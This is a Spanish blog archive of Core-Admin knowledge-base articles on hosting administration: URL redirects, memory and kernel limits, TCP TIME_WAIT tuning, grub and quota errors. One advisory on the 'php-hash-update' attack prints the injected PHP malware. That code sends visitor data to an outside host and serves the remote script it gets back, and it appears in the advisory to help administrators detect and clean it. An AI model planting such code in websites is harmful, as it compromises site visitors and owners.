Blog

Archive for KB

Cómo gestionar y configurar redireciones URL para tu página web usando #WebhostingManagement y #CoreAdmin

[extoc]

Introducción a redirecciones URL con #CoreAdmin

En algunos casos necesita configurar redirecciones URL de manera que su página web puede presentar distintas páginas en función de la url de origen sin tener que hacer esta configuración dentro de la página web.

Prerequisitos

Necesitará acceso a una instalación funcionando de #WebhostingManagement (Gestor de Alojamientos) donde poder configurar las redirecciones URL.

Cómo configurar redirecciones URL con #CoreAdmin

Configurar redirecciones URL con #CoreAdmin es bastante sencillo y directo. Pinche en la herramienta de Gestión de Alojamientos (#WebhostingManagement) y luego vaya a la sección de redirección URL como se muestra:

Launching #WebhostingManagement application

Luego vaya a:

URL Web redirect with #CoreAdmin and #WebhostingManagement

Dentro podrá listar, borrar, editar y crear nuevas redirecciones URL. Para crear una nueva redirección URL, siga los siguientes pasos. Pinche en “Añadir redirección URL” y luego rellene el formulario:

Selección_270

Cómo funcionan las redirecciones URL con #CoreAdmin

Todas las redirecciones URL configuradas son ajustadas directamente dentro de la configuración del servidor Web, sin tocar el .htaccess del sitio web (por ejemplo).

Esto hace posible configurar las redireciones URL no solo para páginas web con php sino para el resto de tecnologías disponibles.

Al mismo tiempo, esto evita la posibilidad de interferir con el software que pueda hacer actualizaciones automáticas sobre el .htaccess, como puede ser #Wordpress y #Prestashop.

Límites y rendimiento de las redirecciones URL

Confirmar que tenemos casos de uso de usuarios que están configurando más de 40.000 redireciones URL sin ningún problema. No se sabe cuál puede ser el límite que cause problemas de rendimiento, aunque 40.000 ya es un buen número.

Posted in: #WebhostingManagement, Apache2, KB, Web hosting

Leave a Comment (0) →

KB 02082016-001 : failed to map segment from shared object: Cannot allocate memory

Índice de claves del artículo

Símtomas

Si está obteniendo el siguiente error al arrancar el agente de core-admin o el servidor (con el proceso turbulence) o algo parecido:

ImportError: /usr/lib64/python2.6/lib-dynload/_hashlib.so: failed to map segment from shared object: Cannot allocate memory

Y al mismo tiempo ha comprobado que su sistema tiene memoria suficiente disponible, entonces es posible que una configuración de tipo ulimit esté causando el problema.

Revisiones afectadas

Todas las revisiones pueden sufrir este problema. No es un fallo sino un problema de configuración de recursos del sistema.

Antecedentes

El problema está causando por una configuración del sistema ulimit, que está limitando la cantidad de memoria que puede ser usada por el agente de core-admin y por el servidor.

Solución

Puede ejecutar los siguientes comandos para comprobar si se soluciona el problema:

ulimit -m unlimited; ulimit -v unlimited

Después de eso, pruebe a reiniciar el agente para comprobar si el problema se soluciona.

Solución a largo plazo

Actualice sus paquetes de core-admin. Desde la revisión rev.5010, ya está incluida una actualización para corregir automáticamente esta configuración al arrancar el software.

Posted in: Administration, KB, Resource limits

Leave a Comment (0) →

Actualización — KB: 24032014-001: Gestionando problemas con time wait (no más conexiones TCP)

El artículo de base de conocimiento http://www.core-admin.com/portal/es/kb-24032014-001-dealing-with-time-wait-exhaustion-no-more-tcp-connections sobre cómo gestionar problemas de configuración reportados por el comprobador de time wait, ha sido actualizado para permitir configurar la opción TCP TIME WAIT recycle  (/proc/sys/net/ipv4/tcp_tw_recycle). El artículo también incluye información de cómo la opción se relaciona (y puede causar problemas) con dispositivos detrás de un firewall NAT cuando el servidor que ejecuta esta opción es accedido desde los anteriores.

El artículo también incluye referencias al artículo d Troy Davis http://troy.yort.com/improve-linux-tcp-tw-recycle-man-page-entry/  (en inglés) que explica con mayor detalle porqué ocurre este problema del NAT.

Posted in: Administration, Firewall, KB, Seguridad

Leave a Comment (0) →

KB: 16052014-001: Corrigiendo el error /usr/sbin/grub-probe: error: no such disk. para el dispositivo /dev/md0

De manera que está actualizando un sistema Debian (o similar) y durante el proceso, obtiene el siguiente error:

update-initramfs: Generating /boot/initrd.img-2.6.32-5-amd64
Examining /etc/kernel/postinst.d.
run-parts: executing /etc/kernel/postinst.d/initramfs-tools 2.6.32-5-amd64 /boot/vmlinuz-2.6.32-5-amd64
run-parts: executing /etc/kernel/postinst.d/zz-update-grub 2.6.32-5-amd64 /boot/vmlinuz-2.6.32-5-amd64
Generating grub.cfg ...
/usr/sbin/grub-probe: error: no such disk.
run-parts: /etc/kernel/postinst.d/zz-update-grub exited with return code 1
Failed to process /etc/kernel/postinst.d at /var/lib/dpkg/info/linux-image-2.6.32-5-amd64.postinst line 799.

Posiblemente está buscando en google y ha encontrado varias soluciones como las siguientes pero ninguna de ellas funciona:

http://www.linuxexpert.ro/Troubleshooting/grub-error-no-such-disk.html

https://lists.debian.org/debian-user/2011/06/msg00359.html

http://www.linuxquestions.org/questions/debian-26/usr-sbin-grub-probe-error-no-such-disk-922118/

La cosa curiosa es que su sistema está ejecutando correctamente, no hay ningún error en /proc/mdstat (por favor, ejecute un “cat” sobre ese fichero para asegurarse) and si ejecuta un simple “ls -la” sobre /dev/md0 y los discos componentes que hacen ese disco encuentra que todo está correcto (sin errores).

En algún punto, encuentra que tiene que ejecutar la siguiente comprobación para comprobar cual es la idea que tiene grub-probe sobre sus discos:

/usr/sbin/grub-probe --device-map=/boot/grub/device.map --target=fs -v /boot/grub

Sin embargo, al final, informa del siguiente error:

/usr/sbin/grub-probe: info: opening md0.
/usr/sbin/grub-probe: error: no such disk.

Si tiene todos estos elementos en común, por favor, asegúrese de que tiene el comando mdadm disponible. Es posible que lo haya borrado por error. Debido a que grub-probe usa mdadm –examine /dev/md0, este está confundiendo un error de ese comando con el error de no encontrar el comando.

Por favor, intente lo siguiente para ver si funciona:

>> apt-get install mdadm
>> apt-get install -f

Nota aclaratoria para usuarios de Core-Admin

Si está ejecutando el checker mdadm de Core-Admin, este se asegurará de que tiene mdadm disponible además de comprobar los discos y todos los detalles dentro de /proc/mdstat.

Por favor, asegúrese de que tiene el comprobador mdadm para asegurarse de que este error no lleva a sus servidores.

Posted in: Administration, Debian, Debian Squeeze, KB

Leave a Comment (0) →

KB: 24032014-001: Gestionando problemas con time wait (no más conexiones TCP)

Índice de claves del artículo

Síntomas

1) Ha recibido una notificación del time_wait_checker 2) o después de una revisión, encuentra que todos los servicios están arriba y funcionando pero no pueden aceptar más conexiones (cuando deberían) o algún servicio no puede conectar a servicios internos como servidores de bases de datos (como MySQL). Al mismo tiempo, si ejecuta el siguiente comando, obtiene más de 30000 entradas:

>> netstat -n | grep TIME_WAIT | wc -l

Otro síntoma es que servidores específicos como squid fallan con el siguiente error:

commBind: Cannot bind socket FD 98 to *:0: (98) Address already in use

Revisiones afectadas

Todas las revisiones pueden sufrir este problema. No es un bug sino un problema de agotamiento de recursos.

Antecedentes

Este problema se dispara porque algún servicio está creando conexiones más rápido de lo que estas son cerradas totalmente para su reutilización. Después de que una conexión TCP es cerrada, se comienza un periodo para recibir paquetes perdidos para esa conexión, de cara a evitar mezclar estos con paquetes para nuevas conexiones creadas en la mismo localización.

Cada vez que una conexión TCP es creada, un puerto local es necesario para el extremo local. Este puerto para el extremo local es tomado del rango de puertos efímeros tal y como se define en:

/proc/sys/net/ipv4/ip_local_port_range

Si este rango es agotado, no se podrán crear más conexiones TCP porque no hay más puertos efímeros (puertos locales) disponibles.

Hay varias maneras de resolver este problema. Las siguientes soluciones se muestran en el orden de recomendación:

  1. Identificar la aplicación que está creando estas conexiones y revisar si hay algún problema.
  2. Si no es posible, incremente el rango de puertos efímeros. Vea la siguiente sección.
  3. Si incrementar el rango de puertos efímeros no soluciona el problema, intente reducir la cantidad de tiempo que una conexión pasada en estado TIME_WAIT. Vea la siguiente sección.
  4. Si esto tampoco resuelve el problema, intente activar la opción de reutilización de conexiones en TIME_WAIT lo que causará que el sistema reutilice puertos en estado TIME_WAIT. Vea la siguiente sección.

Solución

En el caso de que no pueda corregir la aplicación que produce esta cantidad de conexiones en TIME_WAIT, utilice las siguientes opciones proporcionadas por el comprobador time_wait_checker para configurar el sistema de cara a reaccionar mejor a esta situación..

  1. Primero, seleccione la máquina, y luego pulse en acciones (en la parte superior derecha de la vista de máquina):actions
  2. Ahora, pulse sobre “Mostrar comprobadores”:
  3. Ahora, seleccione el comprobar “time_wait_checker” y después pulse sobre:
    configure.
  4. Después de esto, la siguiente ventana se mostrará con varias opciones de gestión para el TIME_WAIT:
    Core-Admin Time-wait's checker options

Ahora use estas opciones disponibles tal y como se ha descrito y en el orden recomendado.

Algunas notas sobre las opciones Tcp time wait reuse and recycle

Una mención especial para la opción Tcp time wait recycle ( /proc/sys/net/ipv4/tcp_tw_recycle ) referente a que esta se considera más agresiva que la opción Tcp time wait reuse  ( /proc/sys/net/ipv4/tcp_tw_reuse ). Ambas opciones pueden causar problemas ya que aplican “simplificaciones” para reducir el “time wait” y el reusado de ciertas estructuras. En el caso de “Tcp time wait recycle”, debido a su naturaleza, puede causar problemas con los dispositivos detrás de un NAT permitiendo conexiones de manera aleatoria (solo un dispositivo será capaz de conectar al servidor con esta opción activada). Como indica la herramienta (“Observe after activation”). Más información sobre “Tcp time wait recycle” y cómo se relaciona con los dispositivos detrás de un NAT en http://troy.yort.com/improve-linux-tcp-tw-recycle-man-page-entry/

En general, ambas opciones no deberían ser usadas si no es necesario.

Soluciones a largo plazo

Las siguientes soluciones no son rápidas y requieren preparación. Pero las puede considerar para evitar el problema a largo plazo.

SOLUCIÓN 1: si es posible, actualice su aplicación para reutilizar las conexiones creadas. Por ejemplo, si esas conexiones son debidas a conexiones internas a la base de datos, en lugar de crear, consultar y cerrar, intente reutilizar la conexión todo lo posible. Esto reducirá enormemente el número de conexiones en estado TIME_WAIT en la mayoría de los casos.

SOLUCIÓN 2: Otra posible solución es usar varias IPs para el mismo servicio y balancearlas a través de DNS (por ejemplo). De esta manera expandirá las posibles combinaciones de localizaciones para TCP que están disponibles, y así, expandirá el número de puertos efímeros que están disponibles. Cada IP disponible y sirviendo el servicio duplicará su rango.

En cualquier caso, la SOLUCIÓN 1 es con mucho mejor que la SOLUCIÓN 2. Es mejor tener un servicio consumiendo menos recursos.

Posted in: KB, Linux Networking

Leave a Comment (0) →

KB: 19032014-001: Solucionando problema de obtención de memoria del kernel

Síntoma

Si al activar el firewall se obtiene el siguiente error:

iptables: Memory allocation problem

O en los logs vemos los siguientes errores:

vmap allocation for size 9146368 failed: use vmalloc= to increase size.

Esto significa que la memoria reservada para el kernel ha llegado a su límite de memoria interna.

Revisiones afectadas

Todas las revisiones de Core-Admin que utilicen un kernel Linux mayor o igual que 2.6.32.

Antecedentes

Lo que tenemos que comprobar es el límite actual. Para ello, ejecutar:

>> cat /proc/meminfo | grep -i vmalloc
VmallocTotal: 124144 kB
VmallocUsed: 5536 kB
VmallocChunk: 1156 kB

En este caso, VmallocTotal nos está diciendo que tenemos unos 128M aproximádamente.

Con este dato sería incrementarlo a 256M o a 384M (que es bastante).

Solución

Para cambiarlo tenemos que pasarle el parámetro al kernel para que cargue este límite en el arranque.

El parámetro en concreto es vmalloc=256M (para esa cantidad de memoria). En función del boot loader que
tengas, sería realizar lo siguiente:

1) LILO: Editar el fichero /etc/lilo.conf para actualizar la declaración append como sigue:

image = /boot/vmlinuz
root = /dev/hda1
append = "vmalloc=256M"

2) GRUB 1.0: editar el fichero /boot/grub/menu.lst en el variable “kopt” añadir la declaración. Un ejemplo sería:

kopt=root=UUID=b530efc1-0b0c-419e-affb-87eb9e18b0dc ro vmalloc=256M

Después, guardar el fichero y recargar toda la configuración. Con debian es:

>> update-grub

3) GRUB 2.0 editar el fichero /etc/default/grub y actualizar la variable GRUB_CMDLINE_LINUX_DEFAULT para incluir la declaración:

GRUB_CMDLINE_LINUX_DEFAULT="quiet vmalloc=384M"

Tras esto, hay que recargar la configuración. Con debian es:

>> update-grub

Posted in: KB

Leave a Comment (0) →

KB: 21012014-001: Solucionado el ataque php-hash-update en alojamientos

Síntomas

Core-Admin le ha informado de cambios no permitidos en los ficheros de alojamientos y revisándolos, encuentra que los ficheros fueron actualizados con algo como:

<?php
#41f893#
error_reporting(0); ini_set('display_errors',0); $wp_wefl08872 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_wefl08872) &amp;&amp; !preg_match ('/bot/i', $wp_wefl08872))){
$wp_wefl0908872="http://"."http"."href".".com/href"."/?ip=".$_SERVER['REMOTE_ADDR']."&amp;referer=".urlencode($_SERVER['HTTP_HOST'])."&amp;ua=".urlencode($wp_wefl08872);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_wefl0908872);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_08872wefl = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_08872wefl,1,3) === 'scr' ){ echo $wp_08872wefl; }
#/41f893#
?>

Revisiones afectadas

Todas

Trasfondo

Esta ataque es realizado a través del servidor FTP, descargando el fichero original para actualizarlo con el contenido adicional. En esencia, el ataque busca añadir contenido a sus ficheros dejando el resto como estaba.

Esta ataque es posible por la clave fue robada de un equipo comprometido que tiene algún virus o un malware que busca por contraseñas almacenadas en localizaciones conocidas o porque una sesión FTP fue iniciada usando estas contraseñas utilizando una conexión no segura (como una wifi pública).

Solución

Tiene que encontrar los ficheros que fueron actualizados para borrar el contenido adicional. También tiene que resetear la contraseña de las cuentas FTP que fueron usadas para este ataque. Afortunadamente, Core-Admin ya incluye una herramienta que automatiza estas tareas.

Siga las siguientes instrucciones para limpiar y resetear todas las cuentas FTP requeridas:

  1. Ejecute el siguiente comando como root en una shell del servidor:
    >> crad-find-and-fix-phphash-attack.pyc
  2. Una vez termine, la herramienta informará cuales fueron los ficheros actualizados y qué cuentas FTP fueron comprometidas. Ahora, ejecute la herramienta de nuevo pidiéndola que corrija el problema:
    >> crad-find-and-fix-phphash-attack.pyc --clean --change-ftp-accounts

Posted in: KB, Seguridad

Leave a Comment (0) →

KB: 05112013-001: El gestor de alojamientos falla al añadir un nuevo alojamiento informando con un error de cuotas

Síntoma

Cuando se intenta crear un alojamiento con la herramienta de Gestión de Alojamientos, aparece un error similar a:

setquota: Cannot open quotafile /home/aquota.user: Permission denied
setquota: Not all specified mountpoints are using quota.

Revisiones afectadas

Todas

Solution

Reinicie el sistema de cuotas. Para hacerlo, puede utilizar uno de los siguientes métodos:

  1. Ejecute el siguiente comando si tiene acceso fácil a una shell de root en el servidor:
    >> /etc/init.d/quota restart
  2. También puede reiniciar el servicio usando el “Visor de procesos y servicios”, seleccionando el servicio “quota” dentro de los servicios no manejados. Después de seleccionarlo, use la opción de reinicio disponible.

Posted in: Core-Admin, Debian, Debian Lenny, Debian Squeeze, Debian Wheezy, KB

Leave a Comment (0) →

KB: 04112013-001: El instalador del administrador de correo falla porque no puede encontrar libmail-sender-perl

Síntoma

Cuando se lanza el instalador del administrador de correo, este para y falla diciendo que no puede encontrar el paquete libmail-sender-perl.

Revisiones afectadas

Debian Lenny (5.0), Debian Squeeze (6.0), Debian Wheezy (7.0)

Solución

  1. Actualize su /etc/apt/sources.list para incluir la declaración “non-free” a la fuente de paquetes por defecto. Un ejemplo funcionando sería:
    deb http://ftp.es.debian.org/debian/ squeeze main non-free
  2. Después de esto, reiniciar el instalado y comenzar de nuevo.

Posted in: Debian, Debian Lenny, Debian Squeeze, Debian Wheezy, KB

Leave a Comment (0) →